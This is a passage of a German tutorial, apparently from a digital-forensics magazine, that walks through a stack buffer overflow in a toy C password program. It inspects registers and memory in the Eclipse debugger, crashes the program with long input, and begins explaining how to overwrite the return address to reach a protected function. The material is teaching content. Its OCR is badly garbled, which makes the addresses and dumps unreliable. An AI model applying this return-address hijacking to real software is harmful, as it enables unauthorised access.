beim Computer als Synonym fir einen Fehler oder eine Fehl-
funktion angesehen. Das kommt aus der Zeit, als Rechner noch
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zimmerflullend waren und vor allem aus frei liegenden Leitungen
und Leiterplatten bestanden. Da landete ab und zu ein Kafer
(oder ein Wanze) tot auf solch einer Platine, wurde durch den
Stromschlag ggf. noch gegrillt, stellte aber je nach Lage einen
Kurzschluss auf den Schaltungen her. Funktionierte nun ein
Computer nicht wie erwartet, begab sich der Operator auf die
Suche nach Kafern (eben den Bugs) und entfernte sie von den
Platinen.

Dieser Vorgang des Debuggens ist auch heute noch gebrauch-
lich, auch wenn die Kafer eher virtueller Natur sind und damit das
Auffinden von Programmfehlern gemeint ist.

Und was ist ein Stack? Ein Stack ist Ubersetzt ein Stapel. Beim
Computer ist der Stack ein bestimmter vom Programm reservier-
ter Speicherbereich, in den das Programm Adressen flr Subrou-
tinen, die Rucksprungadressen nach Beendigung der Unterfunk-
tionen und lokale' Variablen ablegt. Ahnlich einem Dokumenten-
stapel auf dem Schreibtisch wachst dieser von unten nach oben
und man kann ein neues Dokument immer nur oben auflegen.
Wenn man an tieferliegende Dokumente gelangen mochte, muss
man den Stapel Seite fur Seite von oben abtragen (zumindest,
wenn man nicht pfuscht). Dieses Prinzip des Last-In-First-Out
(LIFO) macht der Computer ganz konsequent. Er pfuscht nicht
und kann daher immer nur etwas oben auf den Stack legen (Be-
fehl push) und dann muss er es in der gleichen Reihenfolge auch
wieder vom Stack herunternehmen (Befehl pop). Da auf dem
Stack sowohl die lokalen Variablen (also in unserem Beispiel die
integer-Variable check und das Char-Array puffer) als auch
die Sprungadressen fir die Funktionen liegen, ist der Stack bzw.
dessen Modifikation das Objekt der Begierde des Hackers. Zu-
nachst Debuggen wir unser Programm in Eclipse und schauen
uns dabei den Stack genauer an. Die Rucksprungadressen wer-
den hierbei (kurzzeitig) in speziellen Registern (das sind Spei-
cherstellen im Pro;{sgsor) gespeichert und dann auf dem Stack
abgelegt. Und auch die lokalen Variablen lassen sich auf dem

Stack identifizieren. Hierzu nutzen wir in Eclipse im Debug-
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Modus die Ansicht ,Registers” und ,Variables®, die uns die Spei-
cheradressen der relevanten Informationen anzeigen. Gestartet
wird der Debug-Modus uber das Kafer-Symbol in der Menduleiste
oder den -befehl ,Run / Debug®.

/..

Sowse Pet Nacque Spon Do B edow e

Tasks Variablen und Register

Quellcode

Console

Nach dem Start des Debug-Modus steht der Programmzeiger auf
dem ersten ausfuhrbaren Befehl in main () - Hier vor Ausfuh-

rung des Aufrufs fur die Funktion eingabe().

Da die main () -Funktion keine eigenen lokalen Variablen be-
sitzt, interessieren uns hier nur die Adressen der Register EBP
und ESP. Diese Informationen kann man in Eclipse rechts oben
im Debug-Fenster in der Sektion ,Registers” erhalten.
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Der EBP (hier bei 0x28ff£28) ist der Basepointer der aktuellen
Funktion und bezeichnet die Basisadresse des Stacks der jewei-
ligen Funktion (hier also main () ). Der ESP (hier bei 0x28f£10)
ist der Stackpointer und zeigt immer auf das oberste Element des
Stacks. Ergo begrenzen ESP und EBP (plus die Rucksprunga-
dresse oberhalb von EBP) den Stackframe der jeweiligen Funkti-
on.

Somit haben wir die ersten Adressen gefunden, die nachher fur
uns wichtig sind: 0x28ff28 und 0x28ff10.

Exkurs: Adressen werden beim Computer Ublicherweise in der
sogenannten Hexadezimalschreibweise dargestellt. Hierbei geht
der Ziffernvorrat im Gegensatz zum Dezimalformat nicht nur von
0 bis 9, sondern von 0 bis 15 bzw. praziser 0-F. Das hat den Hin-
tergrund, dass Computer letztlich nur mit Einsen und Nullen ar-
beiten kdnnen (Schalter ein oder aus). Das Dualsystem ist je-
doch sehr unhandlich, da bereits flr Zahlen von 0-255 8 Bit (also
8 Stellen 0 oder 1) bendétigt werden. Das ist dann gerade mal ein
Byte. Daher fasst man 4 Bit = 16 Zeichen zu einem Hex-Wert 0-
9, A, B, C, D, E, Fzusammen. Das A steht dann dezimal fur die
10, das F fur die 151o0.

Da man immer die ,0“ mitzahlen muss, ergeben sich also mit den

Zeichen 0-15 bzw. 0-F 16 mogliche Zustande. Fasst man zwei
hexadezimale Ziffern zusammen, erhalt man 2x4 Bit = 8 Bit =1
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Byte. Die dezimale Zahl ,255" kann man also hexadezimal als
,OXFF*“ oder im Dualsystem als ,1111 1111“ darstellen.

Wir merken uns also nun als Basisadresse fiir den ERP die he-
xadezimale Speicherstelle 0x28££28 (32 BIT).

Zur Ansicht des Speichers an dieser Adresse wahlen wird den
Reiter ,Memory®, klicken auf ,Add“ und geben die Startadresse
von check in den erscheinenden Dialog ein:

B Console ] Tasks [2: Problems () Executables (J Memory 53
Monitors 4 3 g |Ox28ff28 : O2BFF28 <Heo ¢ 4 New Renderings...
@ 028ff28 Address -3 {, ey 4 { Bt ] Cor P

@@28FF20 68FF2800
BO28FF30
8028FF48
0028FF50
8@28FF60
B@28FF70
8Q28FF80
0028FF90
B@28FFAR
B028FFBO
B@28FFCO
©8028FFDO
8028FFER
0O28FFF@
2e290000
20290010
2e29ee2e 1
00290030
8e290040
20290050
22290060
80290070
22290080
20290090
2e2900A0
00290080
ee290ece
20290000

|__oadcaaca

Diese Ansicht eignet sich zur Nachvollziehbarkeit noch nicht
wirklich, sodass wir nun auf ,New Renderings“ klicken, , Traditio-
nal® auswahlen und anschliel3end mit einem Rechtsklick auf die
neue Ansicht die Anzahl der anzuzeigenden Spalten (Columns)
auf ,1“ stellen:
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0281128 <Heo  (x28128 : (XBFF2S <Traditionals 7, i+ New Renderings..
@x0O2BFF28 002BFFE3 00401089 000009R1 00532000 OSIIDCE 7 FFFFFF O2BFFSE 75395005 OEEBEDDE FFFFFFFE 759B161E 75951542 00090000
@x0028FF66 75962811 7E7DE000 GO28FFES 254 80000001 00070000 00000008 20% 02900000 20000000 02BFFS4 757 7EFDERR0
Ox0O2BFFOS  TSEEDEF2 7EFDE000 TEEFACFA ¢ 2 60900808 7EFDECC 60808000 H9G00000 BOBOVBDD 5025FF AR 6000B00 FFFFFEFF TEF2TIDS GOZATEIE 0.1
0x00267FD0 00000000 001 100 00000000 100 00000000 0040124 TEFDERR 0000003 76746341 :

" #  Add Watchpoint (C/C++)... = ot pii L
00290005 00000001 0001 207 60800014 20030001 000G000T + 9000017C . 80000000 20000
6x00290848 sgoooee cooq  Resource Configurations * o295 86000044 c00002£0 88800260 5600000D FI32T18A £0600540 BOBB0OIA
€x00290878 000GA31E 0091 4 Adq Rendering © 00000380 00000800 32CEEACD 5 00000042 00000C 24 00000336
0x00200080 38SOSFCH 0000 o0 p o 51280544 00001324 0000056 0000137C 00000398 20000010 86000069
0x002900E8 00000002 000d 2000174C 745 80009001 00001EEC <01 00000001 s
0x00290120 00002078 0000 Panes v poess eeesesez 0oco00ns 00003124 00000802 00000007 BGGILFD D90OODFE  X-..
x00200158 600000GL 6004 Endian s £ 60603305 4 00000081 64 00000U2C 00000 BABBBORL (0000
0x00290196 00000006 0090 1., 20200a3E 00000000 1717 00000000 00000000 1
€x002901C3 00000000 0000 (o , [P2990 00380043 0057005C 0O6E0A6S 00570054 00730077 0957005C BOGEBREI 037500
0x00200200 0OSCOA73 000 po164 8000A260 60000001 F33271BA GO0003CA BOGGOBAA B00G41E BBGO3LE
0xpo200238 20594938 coon U 2 A3CERACR 2050 BGRIRBAZ G00004AT BOGROIIE 204 38505FC8
@x00290270 90009USE 000 Colums *| ® AutoSactoFill 0006 0069004D 00720963 00TIRNEF
x00290248 002£0074 0059 Update Mode 1060 00740061 00520069 BOESOREC 3
0x002902E0 G0O00RC 000 02000800 (70707 0609000 1000700
ex00290318 00008008 0ood P 0000000 0000000 B00BEDE o 00000000 005I0B4D ...
Ox00290350 00720063 007y  Reset ToBase Address 1073 00600065 243 00700060
0x00200385 00620069 00y Refesh 2 60630065 50750074 00650072 60220930
x002903C0 00350073 00220010 GO70BIC 00010075 GOGSOBEE 00| GOGE 00360022 £0390035 80620035 003400
0xBO2903F8 00340031 00630034 BEEE0063 00540071 0220066 959 00320033 002 00650076 e
©x00200430 GO6FO069 COI0005E 00360022 6030002E 0037002E 00790053 272 00600065 60440020 i.oun.=."
x00290458 00660065 1 0074086C 920 096E0B6F 00530969 72 806£0073 00740
ox00298448 0677002 259 BO6FBR64 00730077 0073002E 00690074 262 0O5F A0S 003500
x0O2964D8 60350039 00360052 BO310834 ¢ § 80630063 - rrmm DT o 06300836 50250030 89366031 693500
0x00200518 005F0035 eesso0sE 00610039 00530054 09620063 09550054 B03L0BIB 60390015 60300B61 250 0065004D 5072
0x00299545 0073006 067 QORE0R74 00590057 GIGAPR6E O 00ZE0073 00730049 DO6COVGF 00740051 06FOUEY 0041005E 0780075 095000
0x00200580  B0740061 00570050 BROROREE HOCOOOCL BOGGRNOB CO0CH1E4 BOBRRLTC 2012 BOOOORFA 60000550 49BFDBEB 01CA0425 BO00008L

Letztlich erhalten wir folgende Ansicht:

0x28ff28 <Hex> 0x28f£28 : 0:x28FF28 <Traditional> 2
Ox0028FF2C 00401089 1.@.
Ox0828FF30 0000001 ....
Ox0028FF34 ©00532DC0 A-S.
@x0828FF38 @@531DC8 E.S.
Ox0028FF3C FFFFFFFF  yyyy
Ox0028FF4@ ©028FF58  X¥/(.
@x0028FF44 75998CDS O..u
Ox0028FF48 OEESEDD8 @ie.

Es lohnt sich, flir das weitere Verstandnis des Artikels, die An-
zeige genauer zu betrachten. In der linken Spalte werden die
Speicheradressen des ersten Bytes der jeweiligen Zeile ange-
zeigt. Dann folgt in der mittleren Spalte der Inhalt der Speicher-
zellen mit einer Breite von 4 Byte = 32 BIT (jeweils zwei Hexade-
zimalzahlen nebeneinander ohne Trennzeichen).

In der rechten Spalte folgt dann die Ausgabe der zu den Hex-
Werten korrespondierenden ASCII-Codes, also den druckbaren
Zeichen, sofern es zum Code ein druckbares Zeichen gibt. Ent-
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spricht der Hexcode (z.B. ,FF®) keinem druckbaren Zeichen im
ASCII-Code, so wird ein ,Maumann® (hier ein ,y“ mit zwei Punk-
ten) ausgegeben (irgendein Sonderzeichen aus einer ggf. frem-
den Sprache). Wichtig zu wissen ist, dass der Adresswert (hier
0x0028ff28) in der linken Spalte das 1. Byte von rechts gese-
hen in der mittleren Spalte und das 1. Zeichen von links in der
rechten Spalte darstellt (68 ist der Hexcode des ASCII-Zeichens
»n“).

Das hat mit der sogenannten Little Endian-Darstellung bei Intel-
basierten Computern zu tun, bei der das niedrigstwertiges Byte
an der kleinsten Speicheradresse gespeichert bzw. dieses wird
zuerst genannt. Bei der ASCII-Ansicht ist fir uns Menschen je-
doch die Schreibweise von links nach rechts angenehmer, wes-
halb die Traditional-View hier der Favorit ist.

Zusatzlich ist noch die Adresse interessant, die eine Zeile ,unter”
dem EBP liegt (nur optisch, tatsachlich liegt sie oberhalb an Ad-
resse 0x0028ff2c). Hier findet man namlich immer die Rick-
sprungadresse in die Ubergeordnete Funktion (in diesem Fall ins
Betriebssystem). Wir erinnern uns, dass der ESP von main () bei
0x28ff10 liegt (fuhrende Nullen kann man weglassen und
GroR-/Kleinschreibung bei Adressen ist auch zulassig). Daher
scrollen wir in der Memory-Ansicht so weit nach oben, bis wir
auch die Adresse 0x28f£10 sehen konnen.

FUr main () erhalten wir damit folgenden Stack-Aufbau:

0x0028FF10 00401940 @.@. ESP main ()

0x0028FF14 00744E80 .Nt.

0x0028FF18 00000034 4...

0x0028FF1C 7EFDE0OOO .ay~

0x0028FF20 00000000 ....

0x0028FF24 TEFDE0OOO .ay~

0x0028FF28 0028FF68 hy (. EBP main ()

0x0028FF2C 004010BS9 *.@. Riicksprungadresse Betriebssystem
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Die Speicherstellen, die zwischen den bezeichneten Adressen
liegen, sollen uns im Moment nicht interessieren (sie werden ggf.
vom Debugger benutzt).

Nun lassen wir den Debugger um einen Schritt weiterlaufen (But-
ton ,Step in“ bzw. F5 — siehe Pfeil) und landen in der Funktion
eingabe () . Rechts oben im Fenster ,Register” haben sich nun
ein paar Werte geandert (was Eclipse gelb unterlegt darstellt).
Uns interessieren auch hier wieder die Werte von ESP und EBP
jetzt von der Funktion eingabe () :

3 ot Bt

amne
=

Wir notieren die Adressen ESP 0x28fee0 und EBP 0x28ff08,
wechseln auf den Reiter ,Variables® und finden die beiden Vari-
ablen der Funktion eingabe () wieder, die hier noch uninitiali-
siert sind:

()= Variables 2 ©g Breakpoints i} Registers mi Modules B B

Name Type Value Location

4 (= puffer char [6] 0:x28fef6 0x28fef6
)= puffer(0] char -24'¢ 0x28fefb

)= puffer{l] char 14 016 0x28fef7

9= puffer(2] char -2'p' 0x28fef8

9= puffer3] char -1 0h28fefd

)= puffer{4] char 1Y 0x28fefa

9= puffer[5] char 1y 0x28fefb

()= check int 1972900194 0x28fefc

Geht man im Debug-Modus zwei Schritte weiter (2xF5), so wer-
den die Variablen mit den von uns deklarierten Werten vorbe-
setzt:
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09= Variables 57 ©g Breakpoints ifii Registers =i\ Modules B

Name Type Value Location
4 (= puffer char [6] 0x28fef6 0x28fef6
9= puffer[0] char 491 0x28fef6

)= puffer[1] char 502 0x28fef7

)= puffer[2] char 51'3" 028fef8

)+ puffer(3] char 524 0x28fefd

)= puffer[d] char 53'5 0x28fefa

)= puffer[S] char 546" 0x28fefb

0= check int 4711 0x28fefc

Besser ware es gerade in diesem Kontext, die Variable check
direkt mit ,0“ vorzubesetzen. Wird sie namlich nun nicht im weite-
ren Programmverlauf modifiziert, dann ist der Zugang zur gesi-
cherten Funktion quasi schon eingerichtet. Eine ,0“ ist im Spei-
cher jedoch deutlich schwerer zu identifizieren (zur Nachvollzieh-
barkeit fur Sie als Leser) und daher initialisieren wir die Variablen
einfach mal mit leicht erkennbaren Mustern.

Die Variable puffer liegt also offenbar an den Speicherstellen
0x28fef6 bis 0x28fefc und belegt erwartungskonform 6
Bytes. Die Variable check liegt bei 0x28fefc. Auch diese Ad-
ressen merken wir uns und suchen sie anschlieend in der Me-
mory-Ansicht in Eclipse.

Um den dezimalen Wert 4711 im Speicher zu finden, sollte man
ihn z.B. mit dem Windows-Taschenrechner in einen Hexadezi-
malwert umrechnen. Dazu wechselt man im Windows-
Taschenrechner auf die Ansicht ,Programmierer und tippt die
4711 in der Ansicht ,Dez" ein. Mit einem Klick auf ,Hex" wird die
Zahl in den entsprechenden Hex-Wert 1267 umgerechnet:
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.
| Rechner [l @ (==

Ansicht Bearbeiten 2

1267

coGe 0G0 ©ooce ©ee0 ©OO2e 0©o0e ooBe @eee
63 47 32
0000 ©eee ©00e oeeoe o001 eele elle 11l
31 15 L)

©) Hex Mod|| A || MC || MR [[ MS || M= |[ M-
Dez
Okt ( ) B ||+ || <E & x
Bin RolL |[RoR || C 7 8 9 / %
@ Qword Or Xor D 4 5 6 * 1/x
Dword = [ e 1 5 3 =
Word -
Eyte Not || And || F 0 . +

Den Wert 0x1267 und die Zeichenkette 123456 sollten wir nun
durch ein wenig scrollen (nach oben zu den niedrigeren Spei-
cheradressen) in der Memory-Ansicht von Eclipse finden kdnnen:
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(€ bufferoverflow.c 33
[F21= void eingabe(void) {

char puffer[6]="123456"; // Variable puffer zur Aufnahme der Benutzereingabe - auf max. 6 Zeichen d
int check=4711; // Variable zur Verarbeitung des Zugangs zu den Unterfunktionen

805 puts ("Bitte geben Sie Ihr Passwort ein: \n"); // Ausgabe auf der Console mit Aufforderung zur Passworteingabe

26 FFlush(stdout); // Freigabe des Ausgabe-Puffers in eclipse (Eigenart von eclipse)

) Console 7 Tasks [2 Problems () Executables (] Memery &2
Monitors 4 X % (02828 <He  (0:28ff28:0x28FF28 <Traditional> £, < New Ren:
& 0x28ff28 Ox@028FED4 00000000 ....
©x@O26FEDS 00000000 ...
©@x0028FEDC 00000000 ....
exe026FEEe 00401940  @.6.
©x0028FEE4  0B2BFEDO  Op(.
Bx@O28FEES ©8028FFB8  .j(.
@xBO2BFEEC @B2BFFC4  Ay(.
@x@e28FEF@ 75998C05 O..u
ox0028FEF4ll3231EA98
0x00287EF5 136353433

0x0028F EFCIN00001267 e

OxPO28FEE8 ©0O238FF@38
Ox@028FEEC ©B28FFC4

OxB@28FEF@ 75998CD5 / el e t—
8x@B28FFB8 BB28FF28 (y(

@x0028FFOC 00401478  {.@.
Ox0028FFl0 00401940 @.@.
0x0028FF14 00744E80  .Nt.
0x0028FF18 00000034 4...
Bx0028FFIC 7EFDEGOO .4y~
0x0028FF20 0000E00 ...
Ox0028FF24 JEFDE@O®  .Aj~

Ox0028FFoe
OxP028FF04 Ox@028FF28 0O28FF68  hy(.
0x0028FF2C 00401089 1.@.

Ox0R28FFR8 ©B28FF28 ('y( i 0x0028FF30 00000001 ...

@xPO28FF34 005320C0 A-S.
©x@O28FF38 ©@5310C8 E.S.
BxBB28FF3C VU

Nun ,steppen® wir mit F5 solange weiter, bis wir an den Punkt
kommen, an dem wir das Passwort eingeben sollen und tippen
.,abcdef‘ ein. AnschlieRend steppen wir noch ein paar Schritte
weiter, bis die Variable check wegen des falschen Passwortes
auf ,0“ gesetzt wird. Wir wechseln wieder in die Memory-Ansicht
und scrollen bis zu dem Bereich der Variablen.

Es ergibt sich folgendes Bild:

DigiFor Inside — 2. Ausgabe — www.KaeferLive.de 38



0:28128 : 0:28FF28 <Traditional> 3
Ox@028FEBC 7ED9227F ."U~ -ia el
@x@@28FEC@ FFFFFFFE  pyyy
Ox@@28FEC4 759E8CD7  X..u
e @x@O28FECS 759E8D22 "..u
@xBO28FECC ©@28BFEF6  &p(.
@x@@28FED@ FFFFFFFF  §yyy
@xBO28FED4 00000001 ...
@x@028FEDS 0028FFO8  .§(.
Ox@O28FEDC 00401417 ..M.
@x@028FEE@ ©@2BFEF6  &p(.
OxB@28FEE4 ©O28FEDE Bp(.
Ox@O2BFEES 0028FFO8  .y(.
Ox@O28FEEC ©@28FFC4  Aj(.
@x@028FEF@ 75998CDS O..u
ax0028FEF4J6
ax0028FEFSJl66
@» @028FEFC
@9x@025FFO8
0xB028FFO4
Abbildung 26: Variableninhalte nach Passworteingabe 0x0028FFO8 0028FF28  (§(.
@xB028FFOC 00401478  {.@.
0x@028FF1@ 00401948 @.@.
@xB028FF14 ©@434E88 .NC.
0x@028FF18 00000034 4...
@x@@28FF1C 7EFDE@@@ .ay~
0xB025FF20 00000000 ....
Ox@@28FF24 7EFDE@O®  .ay~
@x@O28FF28 ©@28FF68  hy(.
@x@028FF2C 00401089 !.@.
@xB028FF3@ 00000001

Sofort andern sich auch die Inhalte der Variablen puffer und
mit einem Blick auf die Memory-Ansicht kann man die Werte
»=abcdef‘ auch dort wiederfinden. Die Variable check hat nun den
Wert ,0“ (Zeile mit Adresse 0x0028fefc).

Anschlie®end steppen wir weiter durch das Programm und stel-
len fest, dass das Programm aufgrund des falschen Passwortes
erwartungskonform in die Funktion zugang verweigert ()
springt. Im ersten Befehl in zugang verweigert () stoppen
wir wieder, schauen uns auch hier die Registerwerte an und no-
tieren uns die entsprechenden Speicheradressen:
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3 Debug - Bufferoverfiow/bufferoverion ¢ - Ecipre
File Edit Source Refactor Nwvigite Search Project Bun  MWindow Help
- i | BB E AR S

spended:
1gang venweigent 2t bufleroverflow.c17 0401366
ingabe) at bufferoverow.c38 0wd01455

in{) at bufferovesfiow.c:46 tni0147b.

[C/C = Application]

A L Y L O e TR ey o

o © [ 00« Varisbles 9 Breskpoints ! Reguters 2 |7 Modules

Narne Value

[PFIF]

0u401356 <zugang verweigens6x

@

Der EBP von zugang verweigert () liegt bei 0x28fed8 und
der ESP bei 0x28fec0. Nun haben wir praktisch alle Adressen
beisammen, die wir brauchen, und scrollen in unserer Memory-
Ansicht so, dass wir die groRte und die kleinste ermittelte Spei-
cheradresse auf dem Bildschirm sehen kénnen:

0x0028FECO
0x0028FEC4
0x0028FECS
0x0028FECC
0x0028FEDO
0x0028FED4
0x0028FEDS
0x0028FEDC
0x0028FEEOD
0x0028FEE4
0x0028FEES
0x0028FEEC
0x0028FEF0
0x0028FEF4
0x0028FEF8

0x0028FF00
0x0028FF04
0x0028FFO08
0x0028FFOC
0x0028FF10
0x0028FF14
0x0028FF18
0x0028FF1C
0x0028FF20
0x0028FF24
0x0028FF28
0x0028FF2C

FFFFFFFE
T39E8CD7
759E8D22
0028FEF6
FFFFFEFFF
00000001
0028FF08
00401452
0028FEF6
0028FEDO
0028FF08
0028FFC4
75998CD5
6261BFE7
66656463

00000000
00000000
0028FF28
0040147B
00401940
00434E80
00000034
TEFDE0OO
00000000
TEFDE0OO
0028FF68
004010B9

byyy
*..u
"..u
5p (.
Yyyy

LY.
Z.@.
&b (.
Bb (.
(.
By (.
O..u
ciab
cdef

LAy~
LAy~
hy (.
1.q.

ESP zugang_verweigert()

EBP zugang_verweigert ()
Rilcksprungadresse zuriick zu eingabe()
ESP eingabe ()

Variable eingabe[6] - gelb - ab 0x28fefé6
Variable check (4 Byte) - grin
EBP eingabe ()

Rucksprungadresse zurlick zu main()
ESP main()

EBP main ()
Riicksprungadresse ins Betriebssystem

Man erkennt, dass die niedrigen Adresswerte in der Traditional-
Ansicht oben und die hohen unten liegen, sodass man den Sta-
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pel bildlich eigentlich auf den Kopf gestellt sieht. Wir werden das
nachher in einer konsolidierten Ansicht andern.

Der erste Bufferoverflow

Jetzt wird es Zeit fUr unseren ersten Bufferoverflow. Was passiert
wohl, wenn wir anstelle der sechs zulassigen Zeichen eine viel
langere Zeichenkette eingeben? Probieren wir es aus und geben
(ebenfalls im Debug-Modus) als Passwort folgende Zeichenkette
ein: ,0123456789ABCDEF* (also 16 Zeichen), stoppen das Pro-
gramm nach der Eingabe des Passwortes und schauen uns den
Speicher um die Adresse 0x28fee4 an:

0x0028FEF4 31300960 ~.01 reguldrer, reservierter
0x0028FEF8 35343332 2345

Speicherplatz fiir eingabe

0x0028FF08 0028FF28 (v (. ab hier Stack unangetastet
0x0028FFOC 0040147B {.@.
0x0028FF10 00401940 @.@.

Man erkennt, dass die Zeichenkette einfach Uber die Grenzen
des reservierten Speichers hinweg (gelb markiert) auf den Stack
geschrieben wird und dass offenbar nachfolgende Adressberei-
che uberschrieben werden (rot markiert). Dabei Uberschreibt die
Zeichenkette auch den Speicherplatz fur die Variable check.
Fuhrt man das Programm nun im Debug-Modus weiter aus, so
funktioniert es offenbar noch korrekt weiter. Der Uberlauf war
ohne Folge. Das liegt u.a. daran, dass die Variable check erst
im nachsten Schritt mit ,0“ beschrieben wird und damit einen Teil
der Zeichenkette (die jetzt nicht mehr gebraucht wird) Uber-
schreibt. Da offenbar keine weiteren Speicherstellen Uberschrie-
ben wurden, die vom Programm benétigt werden, blieb der Uber-
lauf folgenlos. Das ist eine Gefahr einer solchen Schwachstelle.
Oft funktioniert das Programm wie gewollt und umfangreiche
Tests (u.a. so genannte Boundary-Checks) unterbleiben aus Be-
quemlichkeit des Programmierers.
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Was wlrde nun passieren, wenn man noch ein paar Zeichen
mehr eingibt? Zuerst wird der Inhalt des geretteten EBP der
Funktion eingabe () Uberschrieben (was mutmalflich beim Ab-
bau des Stacks zum Absturz fuhrt). Spatestens wenn die hinter
dem EBP liegende Rucksprungadresse zurlck zu main () ange-
tastet wird, ist der Ofen aus. Beim Rucksprungversuch aus ein-
gabe () landet der Programmzeiger irgendwo im Speicher und
das Programm stlrzt mit ziemlicher Sicherheit ab. Probieren wir
es aus und geben ,0123456789ABCDEFGHIJK® ein. Nach Zu-
weisung der Variable check mit ,0“ ergibt sich folgender Spei-
cherauszug:

0x0028FEF4 31309CE9 é&.01 reguldrer, reservierter
0x0028FEF8 35343332 2345

Speicherplatz fiir eingabe

. Uberschreiben des EBP
0x0028FFOC 0040147B {.@. Rilcksprungadresse in main()

Das Programm wird noch bis zum Ende ausgefuhrt, sturzt dann
aber mit einer Fehlermeldung des Betriebssystems ab:

£ Bufferoverflow.exe [::]ijﬁiﬂ
Bufferoverflow.exe funktioniert nicht mehr

Es wird nach einer Losung fir das Problem gesucht...

*Abbrechen |

Geben wir noch mehr 5 Zeichen mehr ein, Uberschreiben wir nun
auch die Rucksprungadresse zurlick zu main () vollstandig.
Damit unterbleibt die Ausgabe ,Programmende.*.

Die Eingabe ,,0123456789ABCDEFGHIJKLMNOP* liefert:
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[€) bufferoverflow.c i3

45 int main(void) {
2 eingabe();
puts (“Programmende. \n");
fflush(stdout);
return @;

B Console 52 & Tasks [Z Problems (3 Executables [J Memory

Bufferoverflow.exe [C/C++ Application] C:\Digifor\Bufferoverflow\Debug\Bufferoverflow.exe (05.03.13 14:50)
Bitte geben Sie Ihr Passwort ein:

bd i t'
sl Bt ok L2 Bufferoverflow.exe o || ==
Bufferoverflow.exe funktioniert nicht mehr
Das Programm wird aufgrund eines Problems nicht richtig

ausgefahrt. Das Programm wird geschlossen und Sie werden
benachrichtigt, wenn eine Lésung verfigbar ist.

Programm schlieBen

So weit so schlecht. Wir haben es erfolgreich geschafft, das Pro-
gramm durch einen Pufferiberlauf zum Absturz zu bringen. Jetzt
beginnt die Arbeit des Hackers oder Crackers erst richtig...

Sprung in die verbotene Funktion

Die nachste Aufgabenstellung sieht nun vor, den Uberlauf so zu
nutzen, dass wir Zugang zu der Funktion zugang erteilt ()
erhalten, ohne das Passwort zu kennen. Zunachst bringen wir
die Speicherdarstellung in eine normierte Darstellung, die die
einzelnen Stackframes der Funktionen zeigt und die Adressen
von unten nach oben aufsteigend darstellt (Zwischenschritt in
Excel), so wie man sich einen Stapel auch bildlich vorstellt. Un-
ser unmodifizierter Stack (ohne Pufferlberlauf, Breakpoint bei
Zeile 25) sieht demnach so aus (wir haben fur spater noch ein
paar Speicherzellen nach oben hinzugefugt):
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=
o
&

Frame |Adresse Inhalt Hex | Inhalt ASCIl | Zweck / Bemerkung

i~ 0x0028FF3C | FFFFFFFF YVVY A
g 0x0028FF38 | 005D1DCE | E.L. ‘ar
2 0x0028FF34 |005D2DC0 | A-]. =z
2 | oxoo2sFF30 |oo000001 | ... ht
0x0028FF2C | 00401089 | .@. Ricksprungadresse ins Betriebssystem j::
0x0028FF28 | 0028FF68 | hyl. EBP main() “g
- 0x0028FF24 | JEFDEDODO ay™ E
?g 0x0028FF20 | 00000000 §
= 0x0028FF1C | JEFDEODO ay™ o
0x0028FF18 | 00000034 4... §
0x0028FF14 | 00434EB0 NC. E
0xD028FF10 | 00401940 |@.@. ESP main() @
0x0028FFOC | 00401478  |L.@. Ricksprungadresse zurick zu main() %
0x0028FF08 | 0028FF28 | (y(. EBP eingabe() é
0x0028FF04 | 00000000 E
0x0028FF00 | 00000000 ‘g
— 0X0028FEFC | 00001267 |g... Variable check (4 Byte)} —grin E
—§ 0x0028FEF8 | 306353433 3456 E
i< Ox0028FEF4 |3221D77A | zx12 Variable eingabe[6] —gelb—ah 0x28fefe =
IT) "

0x0028FEFD |75998CD5 | O..u
0x0028FEEC | 0028FFCA | Aj(.
0x0028FEES | 0028FFO8 | .§(.
0x0028FEE4 | 0028FED0 | Dp.

0x002BFEED | 00401940 | @.@. ESP eingabe() %
__ | oxo028FEDC | 00000000 | ... Ricksprungadresse zurick zu eingabe() Eﬂ
%’% 0x0D028FEDE | 00000000 | ... EBP zugang_verweigert()/zugang_erlaubt()| ®
& 4 | 0x0028FED4 | 00000000  |.... é
g g:' 0x0D028FEDO | 22CE38EE | 8i" z
o) S | 0x0028FECC | 75981162 | b..u
S 7 | Ox002BFECS | 7598L18E  |...u
%DE 0x0D028FECS | 00000008 | ...
0x0D028FECO | 7597F4D2 | Od.u ESP zugang_verweigert()/zugang_erlaubt()

Man erkennt nun vielleicht etwas besser, wie so ein Stack aufge-
baut ist. Die niedrigen Adressen liegen nun unten, die hohen
oben und der Stack wird — dem Programmcode folgend — von
unten nach oben aufgebaut: zuerst der Stackframe der Funktio-
nen (zugang verweigert () oder zugang erteilt () sind
bzgl. des Stackframes gleich aufgebaut) und dann folgt oben die
main-Funktion. Bei dem geplanten Pufferlberlauf wachst die Zei-
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chenkette ab Adresse 0x28fef4 nach oben in Richtung main ()
und irgendwann daruber hinaus (das wird fur unseren finalen
Schad-Code noch interessant, denn daflr brauchen wir etwas
mehr Platz). Wie wir den Stack zerstoren konnen, haben wir be-
reits im vorherigen Kapitel gesehen. Unser Plan ist nun aber,
gezielt bestimmte Zeichen auf den Stack zu speichern, die nach-
her vom Programm so interpretiert werden, dass wir Zugriff auf
die Funktion zugang erlaubt () erhalten. Unser Schad-Code
wachst aber nach oben und nicht in Richtung der Funktion zu-
gang_erlaubt (). Das ist gut!

Eine Moglichkeit ware nun, die Variable check (die ja direkt hin-
ter der Variablen puffer liegt) gezielt mit einem von ,0 verschie-
denen Wert zu Uberschreiben. Dann wurde trotz falschem Pass-
wort check z.B. gleich ,1“ sein und im nachsten if-Construct die
Bedingung ,if (check == 0)“ unwahr und damit der Else-
Zweig ausgeflhrt.

if(check == 0) {
zugang_verweigert(); // check ist @ und damit wird Funktion
// zugang_verweigert aufgerufen
}
else {
zugang_erteilt(); // check ist nicht © (also z.B. 1) und damit
// wird Funktion zugang_erteilt aufgerufen

}

Das Konzept wird leider hier nicht aufgehen, da wir ja bereits im
vorherigen Kapitel gesehen haben, dass der Uberlauf zwar den
Speicherbereich von check Uberschreibt, dies aber im nachsten
Schritt dadurch geheilt wird, dass check vom Programm wieder
auf ,0“ gesetzt wird.

Vielversprechender ist dieser Ansatz: Zunachst ermittelten wir,
wo die Basisadresse der Funktion zugang erteilt () liegt.
Wenn wir diese kennen, speichern wir sie einfach anstelle der
Rucksprungadresse zu main (). Wird nun die Funktion einga-
be () beendet und das Programm mochte zu main () zuruck-
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springen, findet es an dieser Stelle die Basisadresse von zu-
gang_erlaubt () und springt in diese Funktion. Dann wird die
Funktion, auf die wir eigentlich keinen Zugriff hatten, ausgefuhrt
und anschlieBend versucht das Programm, uUber die an
0x0028fedc liegende Rucksprungadresse wieder zu einga-
